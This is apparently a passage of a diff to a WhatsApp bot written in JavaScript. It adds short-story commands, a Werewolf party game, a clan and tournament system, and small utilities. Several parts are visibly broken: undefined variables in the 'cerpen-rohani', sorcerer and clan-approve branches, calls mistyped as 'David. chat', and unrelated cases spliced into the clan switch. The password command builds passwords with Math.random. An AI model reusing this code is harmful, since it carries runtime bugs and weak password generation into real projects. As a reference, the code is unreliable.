${hasil.cerita}`) +} +break +case 'cerpen-persahabatan':{ +let hasil = await cerpen(`persahabatan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-petualangan':{ +let hasil = await cerpen(`petualangan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-ramadhan':{ +let hasil = await cerpen(`ramadhan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-remaja':{ +let hasil = await cerpen(`remaja`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-rindu':{ +let hasil = await cerpen(`rindu`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-rohani':{ +let cerpe = await cerpen(`rohani`) +reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-romantis':{ +let hasil = await cerpen(`romantis`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-sastra':{ +let hasil = await cerpen(`sastra`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-sedih':{ +let hasil = await cerpen(`sedih`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-sejarah':{ +let hasil = await cerpen(`sejarah`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'wwpc': +case 'ww': +case 'werewolf': { +let jimp = require("jimp") +const resize = async (image, width, height) => { + const read = await jimp.read(image); + const data = await read.resize(width, height).getBufferAsync(jimp.MIME_JPEG); + return data; +}; + +let { + emoji_role, + sesi, + playerOnGame, + playerOnRoom, + playerExit, + dataPlayer, + dataPlayerById, + getPlayerById, + getPlayerById2, + killWerewolf, + killww, + dreamySeer, + sorcerer, + protectGuardian, + roleShuffle, + roleChanger, + roleAmount, + roleGenerator, + addTimer, + startGame, + playerHidup, + playerMati, + vote, + voteResult, + clearAllVote, + getWinner, + win, + pagi, + malam, + skill, + voteStart, + voteDone, + voting, + run, + run_vote, + run_malam, + runprefixagi +} = require('./lib/werewolf.js') + +// [ Thumbnail ] +let thumb = + "https://user-images.githubusercontent.com/72728486/235316834-f9f84ba0-8df3-4444-81d8-db5270995e6d.jpg"; + + const { + sender, + chat + } = m; + David.werewolf = David.werewolf ? David.werewolf : {}; + const ww = David.werewolf ? David.werewolf : {}; + const data = ww[chat]; + const value = args[0]; + const target = args[1]; +let byId = getPlayerById2(sender, parseInt(target), ww); + // [ Membuat Room ] + if (value === "create") { + if (chat in ww) return m.reply("Group is still in game session"); + if (playerOnGame(sender, ww) === true) + return m.reply("Kamu masih dalam sesi game"); + ww[chat] = { + room: chat, + owner: sender, + status: false, + iswin: null, + cooldown: null, + day: 0, + time: "malem", + player: [], + dead: [], + voting: false, + seer: false, + guardian: [], + }; + await m.reply("Room successfully created, type *.ww join* to join"); + + // [ Join sesi permainan ] + } else if (value === "join") { + if (!ww[chat]) return m.reply("No game sessions yet"); + if (ww[chat].status === true) + return m.reply("The game session has started"); + if (ww[chat].player.length > 16) + return m.reply("Maaf jumlah player telah penuh"); + if (playerOnRoom(sender, chat, ww) === true) + return m.reply("Sorry, the number of players is full."); + if (playerOnGame(sender, ww) === true) + return m.reply("You are still in a game session."); + let data = { + id: sender, + number: ww[chat].player.length + 1, + sesi: chat, + status: false, + role: false, + effect: [], + vote: 0, + isdead: false, + isvote: false, + }; + ww[chat].player.push(data); + let player = []; + let text = `\n*⌂ W E R E W O L F - P L A Y E R*\n\n`; + for (let i = 0; i < ww[chat].player.length; i++) { + text += `${ww[chat].player[i].number}) @${ww[chat].player[i].id.replace( + "@s.whatsapp.net", + "" + )}\n`; + player.push(ww[chat].player[i].id); + } + text += "\nThe minimum number of players is 5 and the maximum is 15."; + David.sendMessage( + m.chat, { + text: text.trim(), + contextInfo: { + externalAdReply: { + title: "W E R E W O L F", + mediaType: 1, + renderLargerThumbnail: true, + thumbnail: await resize(thumb, 300, 175), + sourceUrl: "", + mediaUrl: thumb, + }, + mentionedJid: player, + }, + }, { + quoted: m + } + ); + + // [ Game Play ] + } else if (value === "start") { + if (!ww[chat]) return m.reply("No game sessions yet"); + if (ww[chat].player.length === 0) + return m.reply("Room belum memiliki player"); + if (ww[chat].player.length < 5) + return m.reply("Maaf jumlah player belum memenuhi syarat"); + if (playerOnRoom(sender, chat, ww) === false) + return m.reply("Room has no players yet"); + if (ww[chat].cooldown > 0) { + if (ww[chat].time === "voting") { + clearAllVote(chat, ww); + addTimer(chat, ww); + return await run_vote(David. chat, ww); + } else if (ww[chat].time === "malem") { + clearAllVote(chat, ww); + addTimer(chat, ww); + return await run_malam(David. chat, ww); + } else if (ww[chat].time === "evening") { + clearAllVote(chat, ww); + addTimer(chat, ww); + return await runprefixagi(David. chat, ww); + } + } + if (ww[chat].status === true) + return m.reply("The game session has started"); + if (ww[chat].owner !== sender) + return m.reply( + `Only @${ww[chat].owner.split("@")[0]} can start a game.` + ); + let list1 = ""; + let list2 = ""; + let player = []; + roleGenerator(chat, ww); + addTimer(chat, ww); + startGame(chat, ww); + for (let i = 0; i < ww[chat].player.length; i++) { + list1 += `(${ww[chat].player[i].number}) @${ww[chat].player[ + i + ].id.replace("@s.whatsapp.net", "")}\n`; + player.push(ww[chat].player[i].id); + } + for (let i = 0; i < ww[chat].player.length; i++) { + list2 += `(${ww[chat].player[i].number}) @${ww[chat].player[ + i + ].id.replace("@s.whatsapp.net", "")} ${ + ww[chat].player[i].role === "werewolf" || + ww[chat].player[i].role === "sorcerer" + ? `[${ww[chat].player[i].role}]` + : "" + }\n`; + player.push(ww[chat].player[i].id); + } + for (let i = 0; i < ww[chat].player.length; i++) { + // [ Werewolf ] + if (ww[chat].player[i].role === "werewolf") { + if (ww[chat].player[i].isdead != true) { + var textt = `Hi ${David.getName( +ww[chat].player[i].id +)}, You have been chosen to play the role of *Werewolf* ${emoji_role( +"werewolf" +)} in this game, please choose one of the players you want to eat tonight\n*LIST PLAYER*:\n${list2}\n\nType *.wwpc kill number* to kill the player`; + await David.sendMessage(ww[chat].player[i].id, { + text: textt, + mentions: player, + }); + } + // [ villager ] + } else if (ww[chat].player[i].role === "warga") { + if (ww[chat].player[i].isdead != true) { + let texttt = `*⌂ W E R E W O L F - G A M E*\n\nHi ${David.getName( +ww[chat].player[i].id +)} Your role is *Villager* ${emoji_role( +"resident" +)}, stay alert, maybe *Werewolf* will eat you tonight, please go to your respective houses.\n*LIST PLAYER*:\n${list1}`; + await David.sendMessage(ww[chat].player[i].id, { + text: texttt, + mentions: player, + }); + } + + // [ Penerawangan ] + } else if (ww[chat].player[i].role === "seer") { + if (ww[chat].player[i].isdead != true) { + let texxt = `Hi ${David.getName( +ww[chat].player[i].id +)} You have been chosen to be the *clairvoyant* ${emoji_role( +"seer" +)}. With the magic you have, you can find out the role of your chosen player.\n*LIST PLAYER*:\n${list1}\n\nType *.wwpc dreamy number* to see the role player`; + + await David.sendMessage(ww[chat].player[i].id, { + text: texxt, + mentions: player, + }); + } + + // [ Guardian ] + } else if (ww[chat].player[i].role === "guardian") { + if (ww[chat].player[i].isdead != true) { + let teext = `Hi ${David.getName( +ww[chat].player[i].id +)} You have been chosen to play the role of *Guardian Angel* ${emoji_role( +"guardian" +)}, with the power you have, you can protect the citizens, please choose 1 player you want to protect\n*LIST PLAYER*:\n${list1}\n\nType *.wwpc deff number* to protect the player`; + + await David.sendMessage(ww[chat].player[i].id, { + text: teext, + mentions: player, + }); + } + + // [ Sorcerer ] + } else if (ww[chat].player[i].role === "sorcerer") { + if (ww[chat].player[i].isdead != true) { + let textu = `Hi ${David.getName( +ww[chat].player[i].id +)} You are chosen as the Sorcerer ${emoji_role( +"sorcerer" +)}, with the power you have, you can reveal the identities of the players, please select 1 person whose identity you want to reveal\n*LIST PLAYER*:\n${list2}\n\nType *.wwpc sorcerer number* to see the player role`; + + await David.sendMessage(ww[chat].player[i].id, { + text: textu, + mentions: player, + }); + } + } + } + await David.sendMessage(m.chat, { + text: "*⌂ W E R E W O L F - G A M E*\n\nThe game has started, players will play their respective roles, please check your private chat to see your role. Be careful citizens, maybe tonight is your last night", + contextInfo: { + externalAdReply: { + title: "W E R E W O L F", + mediaType: 1, + renderLargerThumbnail: true, + thumbnail: await resize(thumb, 300, 175), + sourceUrl: "", + mediaUrl: thumb, + }, + mentionedJid: player, + }, + }); + await run(David. chat, ww); + } else if (value === "kill") { + let byId = getPlayerById2(sender, parseInt(target), ww) + if (dataPlayer(sender, ww).role !== "werewolf") + return m.reply("This role is not for you"); +if (byId.db.role === "sorcerer") +return m.reply("Cannot use skill for friend"); +if (playerOnGame(sender, ww) === false) +return m.reply("You are not in a game session") +if (dataPlayer(sender, ww).status === true) +return m.reply("Skill has been used, skill can only be used once per night") +if (dataPlayer(sender, ww).isdead === true) +return m.reply("You are dead") +if (!target || target.length < 1 || target.split('').length > 2) +return m.reply(`Enter player number \nExample: \n${prefix + command} kill 1`) +if (isNaN(target)) +return m.reply("Use only numbers") +if (byId.db.isdead === true) +return m.reply("Player is dead") +if (byId.db.id === sender) +return m.reply("Cannot use skills for yourself") + if (byId === false) + return m.reply("Player not registered") +m.reply("Successfully killed player " + parseInt(target)) +.then(() => { +dataPlayer(sender, ww).status = true; +killWerewolf(sender, parseInt(target), ww); +}); +} else if (value === "dreamy") { +if (dataPlayer(sender, ww).role !== "seer") +return m.reply("This role is not for you"); +if (playerOnGame(sender, ww) === false) +return m.reply("You are not in a game session") +if (dataPlayer(sender, ww).status === true) +return m.reply("Skill has been used, skill can only be used once per night") +if (dataPlayer(sender, ww).isdead === true) +return m.reply("You are dead") +if (!target || target.length < 1 || target.split('').length > 2) +return m.reply(`Enter player number \nExample: \n${prefix + command} kill 1`) +if (isNaN(target)) +return m.reply("Use only numbers") +let byId = getPlayerById2(sender, parseInt(target), ww) +if (byId.db.isdead === true) +return m.reply("Player is dead") +if (byId.db.id === sender) +return m.reply("Cannot use skills for yourself") +if (byId === false) +return m.reply("Player is not registered") +let dreamy = dreamySeer(m.sender, parseInt(target), ww); +m.reply(`Successfully opened the identity of player ${target} is ${dreamy}`) +.then(() => { +dataPlayer(sender, ww).status = true; +}); +} else if (value === "deff") { +if (dataPlayer(sender, ww).role !== "guardian") +return m.reply("This role is not for you"); if (playerOnGame(sender, ww) === false) +return m.reply("You are not in a game session") +if (dataPlayer(sender, ww).status === true) +return m.reply("Skill has been used, skill can only be used once per night") +if (dataPlayer(sender, ww).isdead === true) +return m.reply("You are dead") +if (!target || target.length < 1 || target.split('').length > 2) +return m.reply(`Enter player number \nExample: \n${prefix + command} kill 1`) +if (isNaN(target)) +return m.reply("Use only numbers") +let byId = getPlayerById2(sender, parseInt(target), ww) +if (byId.db.isdead === true) +return m.reply("Player is dead") +if (byId.db.id === sender) +return m.reply("Cannot use skill for self") +if (byId === false) +return m.reply("Player is not registered") +m.reply(`Successfully protected player ${target}`).then(() => { +protectGuardian(m.sender, parseInt(target), ww); +dataPlayer(sender, ww).status = true; +}); +} else if (value === "sorcerer") { +if (dataPlayer(sender, ww).role !== "sorcerer") +return m.reply("This role is not for you"); + if (playerOnGame(sender, ww) === false) + return m.reply("You are not in a game session") +if (dataPlayer(sender, ww).status === true) +return m.reply("Skill has been used, skill can only be used once per night") +if (dataPlayer(sender, ww).isdead === true) +return m.reply("You are dead") +if (!target || target.length < 1 || target.split('').length > 2) +return m.reply(`Enter player number \nExample: \n${prefix + command} kill 1`) +if (isNaN(target)) +return m.reply("Use only numbers") +let byId = getPlayerById2(sender, parseInt(target), ww) +if (byId.db.isdead === true) +return m.reply("Player is dead") +if (byId.db.id === sender) +return m.reply("Cannot use skill for self") +if (byId === false) +return m.reply("Player is not registered") +let sorker = sorcerer(session(m.sender), target); +m.reply(`Successfully opened the identity of player ${player} is ${sorker}`) +.then(() => { +dataPlayer(sender, ww).status = true; +}); +} else if (value === "vote") { +if (!ww[chat]) return m.reply("There is no game session yet"); +if (ww[chat].status === false) +return m.reply("Game session has not started"); +if (ww[chat].time !== "voting") +return m.reply("Voting session has not started"); +if (playerOnRoom(sender, chat, ww) === false) +return m.reply("You are not a player"); +if (dataPlayer(sender, ww).isdead === true) +return m.reply("You are dead"); +if (!target || target.length < 1) +return m.reply("Enter player number"); +if (isNaN(target)) return m.reply("Use only number"); +if (dataPlayer(sender, ww).isvote === true) +return m.reply("You have voted"); +b = getPlayerById(chat, sender, parseInt(target), ww); +if (b.db.isdead === true) +return m.reply(`Player ${target} is dead.`); +if (ww[chat].player.length < parseInt(target)) +return m.reply("Invalid"); +if (getPlayerById(chat, sender, parseInt(target), ww) === false) +return m.reply("Player is not registered!"); +vote(chat, parseInt(target), sender, ww); +return m.reply("✅ Vote"); +} else if (value == "exit") { +if (!ww[chat]) return m.reply("No game session"); +if (playerOnRoom(sender, chat, ww) === false) +return m.reply("You are not in a game session"); +if (ww[chat].status === true) +return m.reply("The game has started, you can't leave"); +let exitww = `${sender.split("@")[0]} Exit the game` + David.sendMessage( + m.chat, { + text: exitww, + contextInfo: { + externalAdReply: { + title: "W E R E W O L F", + mediaType: 1, + renderLargerThumbnail: true, + thumbnail: await resize(thumb, 300, 175), + sourceUrl: "", + mediaUrl: thumb, + }, + mentionedJid: sender, + }, + }, { + quoted: m + } + ); + playerExit(chat, sender, ww); + } else if (value === "delete") { + if (!ww[chat]) return m.reply("No game sessions"); +if (ww[chat].owner !== sender) +return m.reply( +`Only @${ +ww[chat].owner.split("@")[0] +} can delete this game session` +); +m.reply("Game session successfully deleted").then(() => { +delete ww[chat]; +}); +} else if (value === "player") { +if (!ww[chat]) return m.reply("No game sessions"); +if (playerOnRoom(sender, chat, ww) === false) +return m.reply("You are not in a game session"); +if (ww[chat].player.length === 0) +return m.reply("Game session does not have any players yet"); + let player = []; + let text = "\n*⌂ W E R E W O L F - G A M E*\n\nLIST PLAYER:\n"; + for (let i = 0; i < ww[chat].player.length; i++) { + text += `(${ww[chat].player[i].number}) @${ww[chat].player[i].id.replace( + "@s.whatsapp.net", + "" + )} ${ + ww[chat].player[i].isdead === true + ? `☠️ ${ww[chat].player[i].role}` + : "" + }\n`; + player.push(ww[chat].player[i].id); + } + David.sendMessage( + m.chat, { + text: text, + contextInfo: { + externalAdReply: { + title: "W E R E W O L F", + mediaType: 1, + renderLargerThumbnail: true, + thumbnail: await resize(thumb, 300, 175), + sourceUrl: "", + mediaUrl: thumb, + }, + mentionedJid: player, + }, + }, { + quoted: m + } + ); + } else { + let text = `\n*⌂ W E R E W O L F - G A M E*\n\nA social game that takes place in several rounds. Players are required to find a criminal in the game. Players are given time, roles, and their respective abilities to play this game.\n\n*⌂ C O M M A N D*\n`; + text += ` • ww create\n`; + text += ` • ww join\n`; + text += ` • ww start\n`; + text += ` • ww exit\n`; + text += ` • ww delete\n`; + text += ` • ww player\n`; + text += `\nThis game can be played by 5 to 15 people..`; + David.sendMessage( + m.chat, { + text: text.trim(), + contextInfo: { + externalAdReply: { + title: "W E R E W O L F", + mediaType: 1, + renderLargerThumbnail: true, + thumbnail: await resize(thumb, 300, 175), + sourceUrl: "", + mediaUrl: thumb, + }, + }, + }, { + quoted: m + } + ); + } +} +break +case "clan": + case "clans": + { + if (!m.isGroup) return m.reply(mess.OnlyGrup); + let jimp = require("jimp"); + const resizeImage = async (image, width, height) => { + const readImage = await jimp.read(image); + const resizedImage = await readImage + .resize(width, height) + .getBufferAsync(jimp.MIME_JPEG); + return resizedImage; + }; + + let thumbUrl = "https://telegra.ph/file/048d31385faac531d20c6.jpg"; + const { + playerOnClan, + readClans, + writeClans, + setMissions, + upgradeMissonProgress, + updateClanTaskProgress, + upgradeClanLevel, + simulateWinner, + getClanData, + saveClanData, + saveTournamentData, + } = require("./lib/clan"); + + async function startNextMatch(tournament) { + let nextMatch = tournament.matches.find( + (match) => match.status === "pending", + ); + if (!nextMatch) { + tournament.status = "completed"; + clans.currentTournament = null; + + let winnerClan = tournament.participants[0]; + let winningClanData = await getClanData(winnerClan); + + winningClanData.power += 1000; + winningClanData.level += 5; + + saveClanData(winnerClan, winningClanData); + + await m.reply( + `The tournament ${tournament.name} is over! The winner is ${winnerClan}. This clan receives 1000 power and advances 5 levels.`, + ); + return; + } + + let clan1Data = await getClanData(nextMatch.clan1); + let clan2Data = await getClanData(nextMatch.clan2); + + nextMatch.status = "ongoing"; + writeClans(clans); + + let winner = simulateWinner(clan1Data, clan2Data); + nextMatch.winner = winner; + nextMatch.status = "completed"; + + tournament.participants = tournament.participants.filter( + (clan) => + clan !== + (winner === clan1Data.clan ? clan2Data.clan : clan1Data.clan), + ); + + writeClans(clans); + + await m.reply( + `The match between ${clan1Data.clan} and ${clan2Data.clan} is over! The winner is ${winner}.`, + ); + + setTimeout(() => startNextMatch(tournament), 5000); + } + + const { sender, chat } = m; + const clans = readClans(); + const clanData = clans[chat]; + const action = args[0]; + const param1 = args[1]; + const param2 = args[2]; + + switch (action) { + case "create": + let existingUserClan = Object.values(clans).find( + (c) => c.owner === sender.replace("@s.whatsapp.net", ""), + ); + if (existingUserClan) return m.reply("You already have a clan."); + let createText = `*Hooray, Clan created successfully*`; + clans[param1] = { + room: param1, + owner: sender.replace("@s.whatsapp.net", ""), + status: false, + clan: param1, + members: [], + joinRequests: [], + level: 1, + warLimit: 5, + currentWarCount: 0, + missions: { + daily: { + description: "Recruit 5 new members", + progress: 0, + target: 5, + reward: 100, + }, + weekly: { + description: "Win 3 wars", + progress: 0, + target: 3, + reward: 500, + }, + }, + clanTasks: { + description: "Reach level 3", + progress: 1, + target: 3, + reward: 300, + }, + }; + createText += `\n\nTo join clans, please type .clan join your clan name.`; + writeClans(clans); + await m.reply(createText.trim()); + break; + + case "join": + if (!param1) + return m.reply( + "Please enter the name of the clan you want to join.", + ); + + let userClanCheck = Object.values(clans).find( + (c) => c.members && c.members.some((m) => m.id === sender), + ); + if (userClanCheck) + return m.reply("You are already part of another clan."); + + let targetJoinClan = Object.values(clans).find( + (c) => c.clan === param1, + ); + if (!targetJoinClan) + return m.reply("The clan you want to join was not found."); + if (playerOnClan(sender, chat, clans) === true) + return m.reply("You are already part of this clan."); + + let joinData = { + id: sender, + number: targetJoinClan.members + ? targetJoinClan.members.length + 1 + : 1, + session: chat, + status: false, + clan: param1, + vote: 0, + isVote: false, + }; + + if (!targetJoinClan.joinRequests) { + targetJoinClan.joinRequests = []; + } + + targetJoinClan.joinRequests.push(joinData); + writeClans(clans); + + let joinText = `Join request has been sent to clan ${targetJoinClan.clan}. Await approval from the clan leader.`; + m.reply(joinText); + break; + + case "approve": + if (!param1) + return m.reply( + "Please enter the name of the clan you want to view.", + ); + let approveClan = Object.values(clans).find( + (c) => c.clan === param1, + ); + if (!approveClan) return m.reply("Clan not found."); + + if (approveClan.owner !== sender.replace("@s.whatsapp.net", "")) + return m.reply( + "You do not have permission to approve join requests.", + ); + + if ( + !approveClan.joinRequests || + approveClan.joinRequests.length === 0 + ) + return m.reply( + "There are no join requests pending approval.", + ); + + let approveText = ""; + + if (param2 === "all") { + let approvedMembers = []; + approveClan.joinRequests.forEach((request) => { + targetJoinClan.members.push({ + id: request.id, + number: approveClan.members.length + 1, + sesi: chat, + status: false, + clan: request.clan, + vote: 0, + }); + approvedMembers.push(request.id); +approveText += `Join request from @${request.id.replace("@s.whatsapp.net", "")} has been approved.\n`; +}); +approveClan.joinRequests = []; +writeClans(clans); +} else if (param2) { + let index = parseInt(param2) - 1; + if ( + isNaN(index) || + index < 0 || + index >= approveClan.joinRequests.length + ) + return m.reply("Invalid index number."); + + let requester = approveClan.joinRequests[index]; + approveClan.joinRequests.splice(index, 1); + approveClan.members.push({ + id: requester.id, + number: approveClan.members.length + 1, + session: chat, + status: false, + clan: requester.clan, + vote: 0, + }); + approveText = `Join request from @${requester.id.replace("@s.whatsapp.net", "")} has been approved.`; + writeClans(clans); +} else { + let pendingRequestsText = `Please specify whether you want to approve all join requests (all) or a specific user's request.\n\n`; + pendingRequestsText += "*List of Join Requests:*\n"; + approveClan.joinRequests.forEach((request, index) => { + pendingRequestsText += `${index + 1}. @${request.id.replace("@s.whatsapp.net", "")}\n`; + }); + + pendingRequestsText += + "\nTo approve a specific request, use the command '.clan approve [index number]'"; + return m.reply(pendingRequestsText.trim()); +} + +await m.reply(approveText); +break; + + + + + + + + +case 'autoreact': { +if (!isCreator) return (`For My Owner Only`) +if (!args[0]) return m.reply(`Example: ${prefix+command} on/off`) +if (args[0] === 'on') { +global.autoreact = true +await reply('SucessFully Activated AutoReact.') +} else if (args[0] === 'off') { +global.autoreact = false +await reply('SucessFully Deactivated AutoReact.') +}} +break + + + + + + +case "war": + let warInitiatorClan = Object.values(clans).find( + (c) => c.owner === sender.replace("@s.whatsapp.net", ""), + ); + if (!warInitiatorClan) + return m.reply("You do not have a clan to start a war."); + + if (warInitiatorClan.currentWarCount >= warInitiatorClan.warLimit) + return m.reply( + `Your daily war limit has been reached (${warInitiatorClan.currentWarCount}/${warInitiatorClan.warLimit}).`, + ); + + let warTargetClan = Object.values(clans).filter( + (c) => c.clan !== warInitiatorClan.clan, + ); + if (warTargetClan.length === 0) + return m.reply( + "No other clans found for war.", + ); + + warTargetClan = + warTargetClan[Math.floor(Math.random() * warTargetClan.length)]; + + if (warInitiatorClan.war || warTargetClan.war) + return m.reply( + "One or both clans are currently in a state of war.", + ); + + let initiatorPower = + warInitiatorClan.level * warInitiatorClan.members.length; + let targetPower = + warTargetClan.level * warTargetClan.members.length; + let winnerClan = + initiatorPower >= targetPower + ? warInitiatorClan + : warTargetClan; + let loserClan = + initiatorPower < targetPower ? warInitiatorClan : warTargetClan; + let warReward = Math.floor(Math.random() * 3) + 1; + + winnerClan.level += 1; + winnerClan.warLimit += warReward; + winnerClan.currentWarCount += 1; + loserClan.currentWarCount += 1; + + if (winnerClan.missions && winnerClan.missions.daily) { + if ( + winnerClan.missions.daily.description.includes("Reach level") + ) { + winnerClan.missions.daily.progress = winnerClan.level; + if ( + winnerClan.missions.daily.progress >= + winnerClan.missions.daily.target + ) { + winnerClan.warLimit += winnerClan.missions.daily.reward; + winnerClan.missions.daily.completed = true; + } + } + } + + if (winnerClan.missions && winnerClan.missions.weekly) { + if ( + winnerClan.missions.weekly.description.includes("Reach level") + ) { + winnerClan.missions.weekly.progress = winnerClan.level; + if ( + winnerClan.missions.weekly.progress >= + winnerClan.missions.weekly.target + ) { + winnerClan.warLimit += winnerClan.missions.weekly.reward; + winnerClan.missions.weekly.completed = true; + } + } + } + + let warResultText = `*War Result:*\n\n`; + warResultText += `Winner: ${winnerClan.clan} (Level ${winnerClan.level})\n`; + warResultText += `Loser: ${loserClan.clan} (Level ${loserClan.level})\n`; + warResultText += `Clan ${winnerClan.clan} receives an additional war limit reward of ${warReward}.\n\n`; + warResultText += `Daily war count for ${warInitiatorClan.clan}: ${warInitiatorClan.currentWarCount}/${warInitiatorClan.warLimit}`; + writeClans(clans); + await m.reply(warResultText.trim()); + break; + +case "list": + let listText = `*List of Clans:*\n\n`; + for (let clanKey in clans) { + if ( + clanKey === "tournaments" || + clanKey === "currentTournament" + ) + continue; + + let clan = clans[clanKey]; + if (clan && clan.members) { + let warLimitDisplay = + clan.warLimit !== null && clan.warLimit !== undefined + ? clan.warLimit + : 3; + listText += `Clan Name: ${clan.clan}\n`; + listText += `Level: ${clan.level}\n`; + listText += `Number of Members: ${clan.members.length}\n`; + listText += `Daily War Limit: ${clan.currentWarCount}/${warLimitDisplay}\n\n`; + } + } + await m.reply(listText.trim()); + break; + +case "leave": + let userClan = Object.values(clans).find( + (c) => c.members && c.members.some((m) => m.id === sender), + ); + if (!userClan) + return m.reply("You are not part of any clan."); + + userClan.members = userClan.members.filter( + (m) => m.id !== sender, + ); + writeClans(clans); + await m.reply(`You have left the clan ${userClan.clan}.`); + break; + +case 'password': + const length = parseInt(args[0]) || 12; + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+~`|}{[]:;?><,./-="; + let password = ""; + for (let i = 0; i < length; i++) { + const randomIndex = Math.floor(Math.random() * charset.length); + password += charset[randomIndex]; + } + reply(`*Generated Password:* ${password}`); + break; + + case 'mood': + const currentHour = new Date().getHours(); + let mood = ''; + + if (currentHour < 6) { + mood = 'Sleepy 😴'; + } else if (currentHour < 12) { + mood = 'Energetic ☀️'; + } else if (currentHour < 18) { + mood = 'Productive 💼'; + } else { + mood = 'Relaxed 🌙'; + } + + reply(`Your mood is: ${mood}`); + break; + + +case "delete": + let deleteClan = Object.values(clans).find( + (c) => c.owner === sender.replace("@s.whatsapp.net", ""), + ); + if (!deleteClan) + return m.reply("You do not have a clan to delete."); + + delete clans[deleteClan.clan]; + writeClans(clans); + await m.reply(`Clan ${deleteClan.clan} has been deleted.`); + break; + +case "member": + let targetClanMember = Object.values(clans).find( + (c) => c.clan === param1, + ); + if (!targetClanMember) + return m.reply("The clan you are looking for was not found."); + + let memberText = `*List of Members in Clan ${targetClanMember.clan}:*\n\n`; + targetClanMember.members.forEach((member, index) => { + memberText += `${index + 1}. @${member.id.replace("@s.whatsapp.net", "")}\n`; + }); + await m.reply(memberText.trim()); + break; + +case "missions": + let missionsClan = Object.values(clans).find( + (c) => c.owner === sender.replace("@s.whatsapp.net", ""), + ); + if (!missionsClan) + return m.reply("You do not have a clan to view missions."); + + let missionsText = `*Clan ${missionsClan.clan} Missions:*\n\n`; + if (missionsClan.missions && missionsClan.missions.daily) { + missionsText += `Daily Mission: ${missionsClan.missions.daily.description}\n`; + missionsText += `Progress: ${missionsClan.missions.daily.progress}/${missionsClan.missions.daily.target}\n`; + missionsText += `Reward: ${missionsClan.missions.daily.reward}\n\n`; + } + if (missionsClan.missions && missionsClan.missions.weekly) { + missionsText += `Weekly Mission: ${missionsClan.missions.weekly.description}\n`; + missionsText += `Progress: ${missionsClan.missions.weekly.progress}/${missionsClan.missions.weekly.target}\n`; + missionsText += `Reward: ${missionsClan.missions.weekly.reward}\n\n`; + } + await m.reply(missionsText.trim()); + break; + +case "task": + let taskClan = Object.values(clans).find( + (c) => c.owner === sender.replace("@s.whatsapp.net", ""), + ); + if (!taskClan) + return m.reply("You do not have a clan to view tasks."); + + let taskText = `*Clan ${taskClan.clan} Tasks:*\n\n`; + if (taskClan.clanTasks) { + taskText += `Task Description: ${taskClan.clanTasks.description}\n`; + taskText += `Progress: ${taskClan.clanTasks.progress}/${taskClan.clanTasks.target}\n`; + taskText += `Reward: ${taskClan.clanTasks.reward}\n`; + } else { +taskText += "No tasks currently."; +} +await m.reply(taskText.trim()); +break; + +case "upgrade": + let upgradeClan = Object.values(clans).find( + (c) => c.owner === sender.replace("@s.whatsapp.net", ""), + ); + if (!upgradeClan) + return m.reply( + "You do not have a clan to upgrade.", + ); + + let upgradeCost = upgradeClan.level * 1000; // *☘️ Example :* upgrade cost based on clan level + if (upgradeClan.level < upgradeClan.clanTasks.target) { + upgradeClan.level += 1; + upgradeClan.clanTasks.progress += 1; + writeClans(clans); + await m.reply( + `Clan ${upgradeClan.clan} has been successfully upgraded to level ${upgradeClan.level}.`, + ); + } else { + await m.reply( + "Your clan has already reached the maximum level for the current task.", + ); + } + break; + +case "tournament": + const subAction = param1; + + switch (subAction) { + case "create": + if (!param2) + return m.reply( + "Please enter the name of the tournament you want to create.", + ); + + let tournamentName = param2; + if (!clans.tournaments) { + clans.tournaments = {}; + } + + if (clans.currentTournament) + return m.reply( + "A tournament is currently ongoing. Please wait until the current tournament is over.", + ); + + if (clans.tournaments[tournamentName]) + return m.reply("A tournament with that name already exists."); + + clans.currentTournament = tournamentName; + + clans.tournaments[tournamentName] = { + name: tournamentName, + participants: [], + status: "pending", + matches: [], + }; + + writeClans(clans); + await m.reply(`Tournament ${tournamentName} has been successfully created.`); + break; + + case "join": + let currentTournamentName = clans.currentTournament; + if (!currentTournamentName) + return m.reply("No tournament is currently ongoing."); + + let joinTournament = clans.tournaments[currentTournamentName]; + + let joinUserClan = Object.values(clans).find( + (c) => c.owner === sender.replace("@s.whatsapp.net", ""), + ); + if (!joinUserClan) + return m.reply( + "You do not have a clan to join the tournament.", + ); + + if (joinTournament.participants.includes(joinUserClan.clan)) + return m.reply("Your clan is already registered for this tournament."); + + 